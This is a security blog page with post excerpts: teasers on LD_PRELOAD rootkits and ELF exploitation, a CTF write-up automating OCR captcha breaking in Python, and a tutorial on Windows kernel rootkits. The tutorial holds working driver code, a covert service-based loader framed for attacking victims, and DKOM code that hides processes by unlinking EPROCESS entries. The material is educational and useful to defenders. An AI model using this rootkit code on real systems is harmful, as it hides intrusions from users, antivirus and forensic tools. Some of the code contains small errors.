The magic of LD_PRELOAD for Userland Rootkits

    How much can you trust binaries you are running, even if you had analyzed them before compilation? With less privileges than kernel rootkits (explained in “Ring 0f Fire”), userland rootkits still represent a big threat for users. To see it, we will talk about an interesting technique to hook functions that are commonly used by programs on shared libraries.

First and foremost, we will introduce quickly the use of shared libraries to explain in the second time, the need of LD_PRELOAD’s trick. After that, we will see how to apply it for rootkit, its limits and the case of its detection, that is not surprising with some anti-rootkits.

Prerequisites:

  • Basics in Linux and ELF (read the analysis part of my last article),
  • a Linux,
  • a survival skill in C programming language,
  • your evil mind switched on (or just be cool!),
  • another default song: Ez3kiel – Via continium.

Here is the contents:

  • Shared libraries,
  • LD_PRELOAD in the wild,
  • Make and use your own library,
  • dlsym: Yo Hook Hook And A Bottle Of Rum!,
  • Limitations,
  • Userland rootkit,
    • Jynx-Kit,
    • Detection,

    Continue reading

    Category: elf, Reversing, Rootkit | Tagged , , , | 8 Comments

    The Art Of ELF: Analysis and Exploitations

        New systems make attackers life hard and common exploitation techniques get harder to reproduce. The purpose of this article is to be very general on mitigation techniques and to cover attacks on x32 as a reference to x64 architectures to stick with the new constraints of today.

    Here, you will find the first step which is an ELF format file analysis. After that we will speak about the protections and ways to bypass them. To finish, we will introduce the x86_64 that makes things more difficult for nowadays exploitations.

    Pre-requisites:

    Here is the contents:

    • The ELF format
    • A standard
    • Where is it used?
    • ELF Layout
  • Dissecting the ELF
    • The “magic” field
    • Reversing ELF’s header
    • Sections
    • Relocations
    • Program Headers
  • Exploitations
    • Old is always better (for attackers)
    • Nonexecutable stack
    • Address Space Layout Randomization
    • Brute-force
    • Return-to-registers
    • Stack Canary
    • RELRO
  • The x86_64 fact and current systems hardening
  • References & Acknowledgements
  • Continue reading

    Category: Uncategorized | 6 Comments

    RSSIL [captcha]: Des chiffres et des lettres

    About RSSIL

    Two weeks ago, the team HzV was in Maubeuge (France) to attend to the RSSIL[0]. This event was really nice. Moreover, we have seen some interesting talks, workshops and a great Capture The Flag.

    Among workshops, you could find tables for lock-picking techniques, basic web PoCs, Live-Box security, osmocombb with Renaud Lifchitz and so on.

    The Hacknowledge challenge has started at 9pm and then every team were fighting against each over. Web/Application vulnerabilities, Reversing, Hardware and Network security, Social engineering… I never seen a challenge as varied as the Hacknowledge one in France! Moreover, if you’re interested to learn more about this event, read Emilien Girault’s post[1] (In French: “an obscure language used only by some 3% of the population of the planet…“ – Joanna Rutkowska).

    In this article, I will only focus on the captcha part, which was a little bit harder to break in a short time.

    Des chiffres et des lettres

    Translation: “numbers and letters”

    Indeed, seeing the title you are surely thinking about the strange and crazy TV game[jff_1] (We have the same in France too![jff_2])

    Beginning this challenge, we goind to the subscription page:

    As we can see, to validate it, we got to submit 5 forms with a correct captcha within 2 secondes, and after that, the counter resets. If we could type everything and send 5 forms in 2 secs, we would feel like my friend Chuck Norris, but as a simple human as we are, it will be a little bit more tricky…

    First and foremost, we were looking for a way to pull down this captcha or any weakness. So we going to the page “code.php” which displays the catpcha, and see what? This captcha is generated with random numbers and letters (remember ESET crackme subscription form…). If you look in COOKIES, there is a classic Session ID, and also if you try to send a form using your super fingers , the website will throw you this error: “ Trop tard !” (Too late!).

    The session ID stays the same, so we could imagine that the image code and the timestamp are store in our session. To break this captcha, one possible solution is to download the actual captcha image and apply an OCR technique.

    The OCR

    OCR is an acronym for Optical Character Recognition. This technique is used to convert books, documents and scanned letters into electronic datas.

    An example with Mathematica:

    With a free tool like “tesseract”, we are able to reproduct the same result:

    Tesseract Open Source OCR Engine
    Would he poop on my
    kneeeee?

    fluxius@wwitb:~/captcha$

    Image processing

    This is the interesting part. Indeed, if we try to recognize our downloaded captchas, we could observe that tesseract and even mathematica are only able to read few letters. These letters are for the most part, not rotated… So if we would like to break this type of “captcha”, we got to separate letters from white background and rotate them until we could read any letter.

    Fist and foremost, we need a sample, so we will download one:

    I said before we have to separate letters from the background. Indeed, the yellow color is difficult to read and the OCR works quite better with black letters in a white background. Thanks to Renaud Lifchitz’s sample, I could do the separation with Mathematica:

    If the background is noisy, it is a little more complicated, because we have to take each letter by its color.

    Having a list of letters in black, we got to rotate them (ImageRotate) to perform the recognition with the OCR function:

    TextRecognize is used to convert a scanned page in a book (we can specify also a language to perform the recognition), so if the rotation is not perfect, it will not matter.

    To finish, as we should know, TextRecognize function does not work for a single letter, and that implies to re-assemble our letters and then use this OCR function, as shown below:

    The letter “i” has been transformed by “|]”. This is strange, but if we apply a white padding, TextRecognized will only display the number “3”. So there is some solutions like replacing the string “|]” to “i” (but if you know how to resolve this properly: Tell me!).

    Breaking captchas using Python

    After this analysis, we will do the same processing, but only using python which has a lot of tricks up its sleeve.

    We need to separate each letter from the background filtering only the white color. To do this, we open the image file and analyze its histogram, which is a list of pixel counts.

    from PIL import Image
    im = Image.open("code.php.png")
    im = im.convert("P") # Converts into GIF (255 colors)
    print im.histogram()

    The result:

    [0, 87, 118, 89, 9285, 0, 21, 24, 15, 18, 21, 18, 16, 30, 24, 28, 30, 21, 19, 15, 24, 15, 25, 17, 9, 17, 14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

    There is 9285 pixels for the Color ID “4”. We suppose this color ID matches with white, because the background is essentially white (deuh…).

    To be sure, we will separate each letter from the background:

    temp = {}
    for x in range(im.size[1]):
      for y in range(im.size[0]):
        pix = im.getpixel((y,x))
        temp[pix] = pix
        if pix != 4:
          im2.putpixel((y,x),0)

    Using the method “show()” on “im2”, we display the result:

    After that, we trying to read it with tesseract:

    Tesseract Open Source OCR Engine
    Z%_;i%L ← DO YOU SPEAK ENGLISH? Oo

    The second, third and fifth characters are not included in [a-zA-Z0-9], so if we want to automate the processing, we can use a simple regex to detect if each character is a letter or a number.

    To be recognized, like the previous example with Mathematica, we will rotate letters which are not matched with our predefined alphabet:

    def rotc(image, rotations):
      '''
         Rotate letters with a list of angles
         image - Image to rotate
         rotation - list of angles
      '''

      for rotation in rotations:
        torot = image.convert('RGBA')
        rot = torot.rotate(rotation, expand=1)
        fff = Image.new('RGBA', rot.size, (255,)*4)
        out = Image.composite(rot, fff, rot)
        image = out.convert(image.mode)
        alpha = re.match(r"[a-zA-Z0-9]", image_to_string(image))
        try:
          return (image, alpha.group(0))
        except:
          pass
     
    inletter = False
    foundletter=False
    start = 0
    end = 0
    imList = []
    for y in range(im2.size[0]):
      for x in range(im2.size[1]):
        pix = im2.getpixel((y,x))
        if pix != 255:
          inletter = True
      if foundletter == False and inletter == True:
        foundletter = True
        start = y
      if foundletter == True and inletter == False:
        foundletter = False
        end = y
        im3 = im2.crop((start, 0, end, im2.size[1] ))
        imList.append(im3)
      inletter=False

    imList[1] = rotc(imList[1], [-30, 30])[0]
    imList[2] = rotc(imList[2], [30, -30])[0]
    imList[4] = rotc(imList[4], [-30, 30])[0]

    The result:

    Captcha:
    Text: ZB3iyL

    #Win!

    False positive (paradox of OCRs)

    Yes… I have cheated a little bit using a “manual algorithm” to rotate letters and recognized them using tesseract. But! Letters are rotated randomly, so lets write a kind of (dirty) intelligence:

    for n in range(5):
      alpha = re.match(r"[a-zA-Z0-9]", string[n])
      if alpha is None:
        imList[n] = rotc(imList[n], [-30, 30])[0]
        new_image = buildimg()
        string2 = image_to_string(new_image)
        print string2
        string = string2.replace(" ", "")

    Result:

    Tesseract Open Source OCR Engine
    First reading: Z%_;i%L</p>
    Tesseract Open Source OCR Engine
    Tesseract Open Source OCR Engine
    Z B `;i€L

    Tesseract Open Source OCR Engine
    Tesseract Open Source OCR Engine
    ZB,,,i%L

    Tesseract Open Source OCR Engine
    Tesseract Open Source OCR Engine
    ZB,,I'%L

    ZB,,I'%L ← The final string

    #Fail!

    But if we add a static stub:

    ...
     if alpha is None:
        if n == 2:
          imList[n] = rotc(imList[n], [30, -30])[0]
        else:
          imList[n] = rotc(imList[n], [-30, 30])[0]

    We got: “ZB3iyL” as expected. #win?

    Vector comparisons

    Using the method “getdata()” on any image, you get something like that:

    ..255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0,..

    Seeing image’s datas, our solution will be to divide each letter by 4, taken from the background and compare the two cells on the top (good idea! Isn’t it?). I mean:

    We suppose if the first cell in the left has less black pixels than the right cell, then we got to do a rotation in the left. Otherwise in the right:

    black1 = 0
    black2 = 0
    for y in range(imList[1].size[0]/2):
      for x in range(imList[1].size[1]):
        pix = imList[1].getpixel((y,x))
        if pix == 0:
          if x > imList[1].size[1]/2:
            black2 += 1
          else:
            black1 +=1

    print 'Colors (left right) :', black1, black2

    And normally we should get more pixels in the right than in the left:

    Colors (left right) : 0 26 # Win!

    To finish, we change our previous stub:

      if alpha is None:
        if the_balance[0] < the_balance[1]:
          imList[n] = rotc(imList[n], [30, -30])[0]
        else:
          imList[n] = rotc(imList[n], [-30, 30])[0]

    And we get a full automated “des chiffres et des lettres” captcha breaker:

    Tesseract Open Source OCR Engine
    ZB 3iyL

    ZB3iyL

    #EpicWin!

    This technique works positively for a large number of tries, but fails a little when a letter is confused by another with the OCR.

    Ressources

    Sources: CaptchaBreaker.tar.gz (Warning! It’s very dirty ;))
    Mathematica Notebook: captcha.nb
    pytesser: http://code.google.com/p/pytesser/

    References

    [0] RSSIL Website – http://www.rssil.org/
    [1] RSSIL 2011 Write-Ups – http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/
    [2] The Incredible Convenience of Mathematica Image Processing – http://blog.wolfram.com/2008/12/01/the-incredible-convenience-of-mathematica-image-processing/
    [3] Mathematica, Image Processing & Analysis – http://reference.wolfram.com/mathematica/guide/ImageProcessing.html
    [4] Decoding Captcha – http://www.wausita.com/captcha/
    [5] Tesseract – http://code.google.com/p/tesseract-ocr/

    Just for Fun

    [jjf_1] Numbers and letters – http://www.youtube.com/watch?v=ViFd9fyjCZk
    [jjf_2] Des Chiffres et des lettres – http://www.youtube.com/watch?v=v96Hovtz7DM

    Category: General, Image Processing | Tagged , , | 2 Comments

    Ring 0f Fire : Rootkits and DKOM

    Many books and papers cover the subject of Rootkits. I wrote this article to describe my first steps.

    Here, you will learn what a rootkit is and how does it work. Also you will find an attack using DKOM.

    For this article I’m using:

    • Windows XP SP3
    • WDK Windows Driver Kit
    • Some debuggers: WinDbg, DebugView
    • Coffee and good cakes

    1. Rootkits

    1.1. What is a Rootkit?

    First and foremost, a rootkit is not a new concept. Indeed, they use the same techniques as viruses in the late 1980s like: modifying program logic, key system tables, memory, for example. But also, it is a way to keep a privileged access on a computer “leaving no traces”.

    It is not a virus, or an exploit, it a “set of programs and code that allows a permanent or consistent, undetectable presence on a computer”[1]. To say it differently, it is a technique to hide malicious things on your victim’s system from an anti-virus, a firewall, a forensic tool and so on.

    A virus is a self-propagating automaton, it makes copies of itself and is out of control. On the other hand, a rootkit enables attackers to have an entire control. Moreover, a rootkit will be deployed thanks to a software exploit, for example: we can load it into the kernel after a buffer-overflow exploit. But most of the time, the attacker uses Social Engineering or install it physically.

    The concept of rootkits evolved with the time to response to new protections and difficulties.

    1.2. Three generations of Rootkits (and more)

    First generation rootkits were very primitives. They were just backdoor programs that replace files system binaries to hides files and processes, like for example: “dir” on Windows and “ls” on Linux. So using this method, a malicious user could hide some suspicious files like a repertory named “Hack_the_Planet”[jff_1] and the victim was only able to see:

    victim@tralala:~$ ls
    helloword.c angelina.png
    victim@tralala~$ But no Hack_the_Planet stuff =(

    Another example is the UNIX login program which was commonly replaced by a kind of spyware which logged user passwords. But as we could see, these rootkits were limited to system files on disk and came the time of system integrity checkers such as Tripwire.

    The response of this was to move into the computer kernel. The second generation rootkits were based upon hooking that altered execution path and some operating system components such as system calls, according to the Shadow Walker paper[2]. But these techniques remained detectable by searching for heuristic abnormalities (see VICE).

    To finish, for the third generation of rootkits, you can look for the FU Rootkit, which has implemented techniques like Direct Kernel Object Manipulation (DKOM). This response show the weakness of current detection software. Indeed, it is impossible to establish a static trusted baseline by modifying kernel data structures.

    You can also find other generation of rootkits: HVM, Firmware, SMM and so on.

    1.3. Attackers’ Motives

    Attackers want to penetrate a system to gather some important information from a computer or simply destroy a computer putting a kind of “logic bomb”. The first one is more interesting for us, because the role of rootkits is to hide every action leaving no trace. So it has do be undetectable from anti-viruses and forensic tools.

    It is very similar to viruses which attempt to hide on the file system from memory scanners, using polymorphic and metamorphic techniques. But in fact, rootkits do not need to change their form, they just compromise everything, hiding any modified region of the memory from scanners giving a ‘fake’ view of the memory.

    So now we know rootkits are capable of controlling the view of memory management, we imagine we can keep the control of a system giving the illusion of a safe and clean system, and it is true.

    1.4. How a rootkit can be used ? Is it legal ?

    Rookits are commonly designed to a particular OS. It can be generic but it is limited to the family of the OS when they have the same data structure and behavior. For example it will be possible to affect Windows family OS like Windows NT, 2000, 2003 and XP. But if we would like to create a generic rootkit for both Linux and Windows at the same time for example, it will not be possible depending to the data structure and behaviour.

    The use of rootkits can be legitimate. Indeed, for many reasons people use them like the famous firmware rootkits known as CompuTrace or LoJack for Laptops, to recover stolen laptops by tracing them across the Internet (can be turned to malicious purposes [3]).

    On the other side, it can be used for malicious reasons, but a rootkit itself is legal. In fact, like in cracking, the illegal thing is the modification of copyrighted softwares. Because rootkits work with the concept of “modification, there are many ways to modify a software: patching, easter eggs, spyware modifications, source-code modifications, updater source-list & packages modification. For the last one, see the slides about the Malware Injection Lightweight Framework (MILF) by Julien Reveret [5].

    OS components attacked by Rootkits are[2]:

    • I/O Manager: Logging keystrokes or network activity.
    • Device & file system drivers: Hiding files.
    • Object Manager: Hiding process/thread handles.
    • Security Reference Monitor: Disable security policies.
    • Process and thread manager: Hiding processes and threads.
    • Configuration manager: Hiding registry entries

    2. Subverting the kernel

    2.1. Intel X86 Protection Rings

    Modern OS are interrupt driven. The system is always waiting for something to do: process execution, I/O devices to services, respond to users. Events are signaled by an interrupt or a trap. A trap is a software generated interrupt caused by an error (For example: invalid memory access, division by zero). Unlike MS-DOS written for the Intel 8088 architecture, most contemporary OS such as Windows XP/Vista/Seven, Unix, Linux take advantage of two separate modes of operation : UserLand (Ring3) and KernelLand (Ring0).

    Sometimes applications need more privileged accesses to resources, this can be done by interfacing the kernel using system calls (figure 1).

    Figure 1. Transition from UserLand to KernelLand.

    In Intel x86 family, there are four rings used for access control. The Ring0 is the most privileged and Ring3, the least privileged (figure 2). Actually, Windows and Linux only use Ring0 and Ring3 and the Ring1, Ring2 may be used, but those operating system architecture do not need their use. The kernel code runs in Ring0. A Ring0 program will have accesses to virtual memory, hardware, and so on.

    Figure 2. The rings of Intel x86 processors.

    Ring3 program cannot access to Ring0 program and if we try to have an access, it will result with an interrupt (terminates the program abnormally). A bit of code controls the access restriction and there is also a code that allows a program to access in Ring0 under special circumstances.

    2.2 Write your first device driver

    Here we will learn how to make a kernel driver (or device driver), which will be our first kernel extension. We know that if we have a code running in the kernel, we can modify the code and data structures of any software on the computer.

    A module includes an entry points and a cleanup routine, if we want to load newer versions of our rootkits.

    2.2.1. Get your hands dirty

    We can now begin with a file mydriver.c:

    #include "ntddk.h"

    VOID CleanUp(IN PDRIVER_OBJECT pDriverObject);
    NTSTATUS DriverEntry(IN PDRIVER_OBJECT TheDriverObject, IN PUNICODE_STRING TheRegistryPath)
    {
      DbgPrint("This is my first driver baby!!");
      TheDriverObject-&gt;DriverUnload = CleanUp;

      return STATUS_SUCCESS;
    }
    // This is the UnLoad Routine
    VOID CleanUp(IN PDRIVER_OBJECT pDriverObject)
    {
      DbgPrint("CleanUp routine called");
    }

    DbgPrint() is like printf() in C but only visible on DebugView.

    To start your first project, make sure to place mydriver.c in a clean directory (For exemple: “C:\myRooktit”).

    Create now a file named SOURCES (in all-capital letters and no file extension). The SOURCES file should contain this code:

    TARGETNAME=MYDRIVER
    TARGETPATH=OBJ
    TARGETTYPE=DRIVER
    SOURCES=mydriver.c

    TARGETNAME gives a name for you driver.

    TARGETPATH is usually set to OBJ.

    SOURCES precises what we have to compile. We can specify more than one source with backslashes “\”.

    For example:

    SOURCES=file1.c \
    file 2.c

    Optionally, you can add the INCLUDES variable which specifies where included files will be located:

    INCLUDES= C:\include1 \
                     C:\include2 \
                     ..\include3

    2.2.2. Build it

    To build your project, make sure you have installed the Windows Driver Kit (WDK) before. Now go to the Start Menu → Programs → Windows Driver Kits and find the Checked Build Environment for your OS.

    After that, change the active directory to your rootkit directory “myRootkit” and type the command “build”:

    C:\Rootkit> build
    BUILD: Compile and Link for x86
    BUILD: Loading c:\winddk\7600.16385.1\build.dat...
    BUILD: Computing Include file dependencies:
    BUILD: Start time: Sun Nov 28 17:36:22 2010
    BUILD: Examining c:\rootkit directory for files to compile.
    BUILD: Saving c:\winddk\7600.16385.1\build.dat...
    BUILD: Compiling and Linking c:\rootkit directory
    Configuring OACR for 'root:x86chk' -
    _NT_TARGET_VERSION SET TO WINXP
    Compiling - mydriver.c
    Linking Executable - objchk_wxp_x86\i386\mydriver.sys
    BUILD: Finish time: Sun Nov 28 17:36:27 2010
    BUILD: Done
    3 files compiled
    1 executable built

    This environment is very similar to GCC, it is very easy to check errors. The checked build results in debugging checks compiled into your driver. When you have finish, to release your final rootkit, use the “Free Build environment”.

    After that you should see a “mydriver.sys” file which is our driver in a generated subdirectory.

    2.2.3. Load the driver: Easy way

    First of all, download the debugger “Debug View” for Windows and start it.

    To load your driver, it is very easy beginning with “OSR Driver Loader”. You just have to select the correct Driver Path and click to “Register Service” to register the driver, then click to “Start Service”.

    You should now get something like this :

    Figure 3. Debugging for MYDRIVER

    The debugger shows you the messages of the function DbgPrint() when you load and unload your driver.

    2.3. Communication between User and Kernel modes

    2.3.1. I/O Request Packets

    Nowadays, rootkits use both User and Kernel mode, but how does it work ? Precisely they can communicate through a variety of means. One of the most common we will use is the I/O Control (IOCTL) commands. In Windows, to communicate a device driver needs I/O Request Packets (IRPs). IRPs are buffers of data and a user can open a file handle to read and write to it.

    If we look at the structure DRIVER_OBJECT with WinDbg, there is a member named MajorFunction:

    nt!RtlpBreakWithStatusInstruction:
    80527bdc cc              int     3
    kd> dt nt!_DRIVER_OBJECT
    +0x000 Type             : Int2B
    +0x002 Size             : Int2B
    +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
    +0x008 Flags            : Uint4B
    +0x00c DriverStart      : Ptr32 Void
    +0x010 DriverSize       : Uint4B
    +0x014 DriverSection    : Ptr32 Void
    +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
    +0x01c DriverName       : _UNICODE_STRING
    +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
    +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
    +0x02c DriverInit       : Ptr32     long
    +0x030 DriverStartIo    : Ptr32     void
    +0x034 DriverUnload     : Ptr32     void
    +0x038 MajorFunction    : [28] Ptr32     long

    Major Functions are used to handle the IRPs and are marked with the defined values [6]:

    • IRP_MJ_CLEANUP
    • IPR_MJ_CLOSE
    • IRP_MJ_CREATE
    • IPR_MJ_DEVICE_CONTROL
    • IRP_MJ_FILE_SYSTEM_CONTROLE
    • IRP_MJ_FLUSH_BUFFERS
    • IRP_MJ_INTERNAL_DEVICE_CONTROL
    • IRP_MJ_PNP
    • IRP_MJ_POWER
    • IRP_MJ_QUERY_INFORMATION
    • IRP_MJ_READ
    • IRP_MJ_SET_INFORMATION
    • IRP_MJ_SHUTDOWN
    • IRP_MJ_SYSTEM_CONTROL
    • IRP_MJ_WRITE
    • … and so on

    For example, if we handle a CREATE, READ and CLOSE event, these events are triggered when a user-mode program case CreateFile(), ReadFile(), CloseHandle() with a handle to the driver (Initialized with CreateFile).

    For some Major Functions, we specify a function each, that will be called:

    // Unload function and Major some Functions
    TheDriverObject->DriverUnload = CleanUp;
    TheDriverObject->MajorFunction[IRP_MJ_CREATE] = OpenFunction;
    TheDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseFunction;
    TheDriverObject->MajorFunction[IRP_MJ_READ] = ReadFunction;
    TheDriverObject->MajorFunction[IRP_MJ_WRITE] = WriteFunction;
    TheDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControlFunction;

    Then we implement the functions OpenFunction(), CloseFunction(), ReadFunction() and WriteFunction() with a DebugPrint:

    NTSTATUS OpenFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
      DbgPrint("Open Function called");
      return STATUS_SUCCESS;
    }
    NTSTATUS CloseFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
      DbgPrint("Close Function called");
      return STATUS_SUCCESS;
    }
    NTSTATUS ReadFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
      DbgPrint("Read Function called");
      return STATUS_SUCCESS;
    }
    NTSTATUS WriteFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
      DbgPrint("Write Function called");
      return STATUS_SUCCESS;
    }

    2.3.2 File handle in kernel

    In order to communicate between user and kernel modes, we must open a handle to the driver. However, if we do not register a named device, it will be impossible to open a handle. So what we are going to do is to define a device and create it:

    const WCHAR deviceNameBuffer[] = L"\\Device\\myDevice"; // Define the device
    PDEVICE_OBJECT pDeviceObject; // Pointer to device object
    NTSTATUS DriverEntry(IN PDRIVER_OBJECT TheDriverObject, IN PUNICODE_STRING TheRegistryPath)
    {
      //DbgPrint("This is my first driver baby!!");
      NTSTATUS ntStatus = 0;
      UNICODE_STRING      deviceNameUnicodeString;

      // We set up the name and symbolic link in Unicode
      RtlInitUnicodeString(&deviceNameUnicodeString,
                           deviceNameBuffer);
     
      // Set up the device myDevice
      ntStatus = IoCreateDevice(TheDriverObject,
                                                   0, // Driver extension
                            &deviceNameUnicodeString,
                    FILE_DEVICE_ROOTKIT,
                    0,
                    TRUE,
                    &pDeviceObject);
     
     //... Major Functions
    }

    To make life easier for programmers in userLand to find the device, we can create a symlink as follows:

    const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\myDevice"; // Symlink for the device

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT TheDriverObject, IN PUNICODE_STRING TheRegistryPath)
    {
    ...
      if (NT_SUCCESS(ntStatus))
        ntStatus = IoCreateSymbolicLink(&deviceLinkUnicodeString,
                                        &deviceNameUnicodeString);
    ...
    }

    With this Symbolic link, we can open a handle using the string “\\.\myDevice”.

    2.3.3. The UserLand

    To finish we need to write a program which will open the device and send a control code to our device driver (which will be controlled to perform different actions).

    #define SIOCTL_TYPE 40000
    #define IOCTL_HELLO\    
                      CTL_CODE( SIOCTL_TYPE, 0x800, METHOD_BUFFERED, FILE_READ_DATA|FILE_WRITE_DATA)

    int __cdecl main(int argc, char* argv[])
    {    
         HANDLE hDevice;    
         DWORD NombreByte;    
         char *sayhello = "Hi! From UserLand" , out[50];
         // Fills the array 'out' by zeros    
         ZeroMemory(out,sizeof(out));  
         // Opens our Device    
         hDevice = CreateFile("\\\\.\\myDevice",GENERIC_WRITE|                          
            GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);        
         printf("Handle pointer: %p\n",hDevice);    // We send a CTL command to read our message in kernel     
        DeviceIoControl(hDevice,IOCTL_HELLO,welcome,strlen(sayhello),out,sizeof(out),&NombreByte,NULL);    
        printf("Message from the kernelLand : %s\n",out);  
        CloseHandle(hDevice); // Close the handle: We should observe the function CloseFunction is called    
        return 0;
    }

    As we can see CreateFile() opens the device “myDevice” and by DeviceIoControl()[8] we send the ponter for input (welcome) and output (out).

    To finish build the program using “gcc” and execute with the Windows command line: gcc -o userland.c userland.

    You should see something like this with DbgView:

    2.4. Load a driver properly

    2.4.1 What we want to do here?

    Imagine you are an attacker and you would like to install a rootkit on your victim’s computer. To use it this rootkit as to be loaded and started, and we saw how to do it with OSR Driver Loader. But really, do think you will say “Hello victim! I’m your attacker and I want you to load my driver, so download OSR Driver Loader, load the rootkit for me and start the service.” ? No! We have to be as less suspicious as we can.

    It will be much more interesting if we embed an loader in the user land part, right ? So, we will use the SCM[9] to do it.

    2.4.2 The Service Control Manager (SCM)

    If we use an API call to load our driver without having to create any register keys, the driver will be pageable and any part of it can be swapped to disk. Using this method, it will result in a super Blue Screen of Death (BSOD)

    The SCM cause registry to be created and in this way the driver will be “non-pageable”.

    First, we got to establish a connection with the service manager using OpenSCManager, and specify we want all accesses into it :

    SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

    After that, we have to create the registry key :

            SC_HANDLE rh = CreateService(sh, // Handle to SCManager
                                     theDriverName, // Service Name
                                         theDriverName, // Display Name
                                         SERVICE_ALL_ACCESS, // Desired Access
                                         SERVICE_KERNEL_DRIVER, // Service Type
                                         SERVICE_DEMAND_START, // Start Type
                                         SERVICE_ERROR_NORMAL, // Error Controle
                                         aPath, // Binary Path Name
                                         NULL, // Load OrderGroup
                                         NULL, // Tag Id
                                         NULL, // Dependencies
                                         NULL, // Service Start Name
                                         NULL); // Password

    (Please note: You can change the Start Type to let your rootkit start at boot time).

    To finish, we open the created service and start it :

    rh = OpenService(sh, theDriverName, SERVICE_ALL_ACCESS); // [11]
    StartService(rh, 0, NULL); //  [12]

    3. Hide processes with DKOM

    3.1. Direct Kernel Object Manipulation

    Direct Kernel Object Manipulation (DKOM) is extremely hard to detect, but has also its drawbacks and we must understand several things about the object (Chapter 7 [1]).

    With DKOM we can:

    • Hide processes
    • Hide device drivers
    • Hide ports
    • Elevate privilege level of threads and processes
    • Skew forensics

    But as we manipulate objects in memory, it is not possible to hide files for example. So it has also some limitations.

    3.2. Process Hiding

    Windows operating systems list active processes using a double linked structure in EPROCESS:

    As you can see, it is like a doubly-linked list in C programming [13], when you have a previous and a next node.

    So now in theory, if an active process is referenced into a EPROCESS structure, then we just have to point the Front LINK (FLINK) in the back of the process we want to hide to the next structure, and point the Back LINK (BLINK) of this next structure to the previous structure as follows:

    That was theory, but in practice, it really needs a good understanding of EPROCESS structure. Indeed, it change often between releases, so to get a correct offset any “field”, we will use WinDbg.

     lkd> dt nt!_EPROCESS
       +0x000 Pcb              : _KPROCESS
       +0x06c ProcessLock      : _EX_PUSH_LOCK
       +0x070 CreateTime       : _LARGE_INTEGER
       +0x078 ExitTime         : _LARGE_INTEGER
       +0x080 RundownProtect   : _EX_RUNDOWN_REF
       +0x084 UniqueProcessId  : Ptr32 Void
       +0x088 ActiveProcessLinks : _LIST_ENTRY
       +0x090 QuotaUsage       : [3] Uint4B

       +0x174 ImageFileName    : [16] UChar
    ...

    In this example on Windows XP SP3, the offset for the PID is 0x84, for the doubly-linked list it is 0x88. With this information, you can now program a function which change the FLINK and BLINK pointers of a precise process using his PID. But who really knows the PID of a specific process when it is being executed? The EPROCESS structure has this information as know as “ImageFileName” at 0x174.

    We will use IoGetCurrentProcess() to get the pointer of the current process and use the doubly-linked list to switch from a process to the next with his FLINK. Then we compare the value of “ImageFileName” with the process name we are searching to get his address:

    ULONG SearchByName(char *processName, int size)
    {
      PEPROCESS CheckPoint, CurrentProcess;
      PLIST_ENTRY list;
      CheckPoint = IoGetCurrentProcess(); // We save the status of the Current Process
      CurrentProcess = StartProcess;
     
      do
      {
        if (!strncmp(processName, ((PUCHAR) CurrentProcess + 0x174), size))
          return CurrentProcess; // If the the field has the same value as the given process name, we return his pointer
         
               // -->Next process
        list = (PLIST_ENTRY)((PUCHAR)CurrentProcess + 0x088);
        CurrentProcess = (PEPROCESS)list->Flink;
        CurrentProcess = (PEPROCESS)((PUCHAR)CurrentProcess - 0x088);
       
      } while (CheckPoint != CurrentProcess);
     
      return 0;
    }

    Then with the process’ address we can now hide it, using the same theory about BLINK and FLINK as at the beginning of this part:

    VOID HideProcess(char *processName, int size)
    {
      PEPROCESS toHide;
      PLIST_ENTRY listtoHide;
     
      toHide = (PEPROCESS) SearchByName(processName, size);
      if (toHide == 0)
        return 0;

     // We change the pointers reference
      listtoHide = (PLIST_ENTRY)((PUCHAR) toHide + 0x088);
      *((PDWORD) listtoHide->Blink) = (DWORD) listtoHide->Flink;
      *((PDWORD) (listtoHide->Flink)+1) = (DWORD) listtoHide->Blink;
      listtoHide->Blink = (PLIST_ENTRY)&listtoHide->Flink;
      listtoHide->Flink = (PLIST_ENTRY)&listtoHide->Flink;
    }

    Note that if you are using another version of Windows, you got to apply a valid offset to make it work.

    3.3 Demonstration

    Here I’m using the software Process Explorer [14] to watch all active processes in memory:

    So imagine we would like to hide a very dangerous* process like “explorer.exe” (*joke). We use the userland to tell to the kernel that we want to hide “explorer.exe”:

    And it disappeared in the wild!

    Resources

